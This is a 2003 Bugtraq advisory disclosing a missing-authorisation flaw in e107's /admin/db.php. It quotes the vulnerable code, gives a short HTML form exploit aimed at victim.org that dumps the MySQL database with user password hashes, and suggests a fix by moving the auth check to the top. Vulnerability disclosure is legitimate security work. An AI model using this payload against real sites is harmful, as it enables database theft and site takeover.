[30879] in bugtraq
e107 website system Vulnerability
daemon@ATHENA.MIT.EDU (Artoor Petrovich)
Thu Jul 24 15:28:20 2003
Date: Thu, 24 Jul 2003 19:49:47 +0400
From: Artoor Petrovich <artoor@exfloyt.com>
Reply-To: Artoor Petrovich <artoor@exfloyt.com>
Message-ID: <5025080163.20030724194947@exfloyt.com>
To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Informations :
Advisory Name: e107 website system Vulnerability
Author: hiruvim <artoor@exfloyt.com>
Discover by: hiruvim <artoor@exfloyt.com>
Website vendor : http://e107.org
Affected System(s): All versions
Severity: High
Platform(s): Windows and Unix
Issue: Security holes enable attackers to get MySQL dump file with
users and passwords.
==================================================
Details:
In file /admin/db.php
.......................
require_once("../class2.php");
if(IsSet($_POST['dump_sql'])){
getsql($mySQLdefaultdb);
exit;
}
[....]
require_once("auth.php");
.......................
We can do dump_sql without authorization.
Exploit:
<form action="http://victim.org/admin/db.php">
<input type=submit name="dump_sql">
</form>
When pressed submit query button we will get MySQL dump file.
In dump file we will find username and passwd MD5 hash.
With admin password we can get full site control and access to
FileManager.
Vendor: Not contacted yet.
Patch:
in /admin/db.php
Before doing anything you will need tomove "require_once("auth.php");"
to the top of the file.
Sorry for my poor english:)
==============================
hiruvim <artoor@exfloyt.com>
Original document can be fount at http://0x90.ipsec.ru/e107.txt
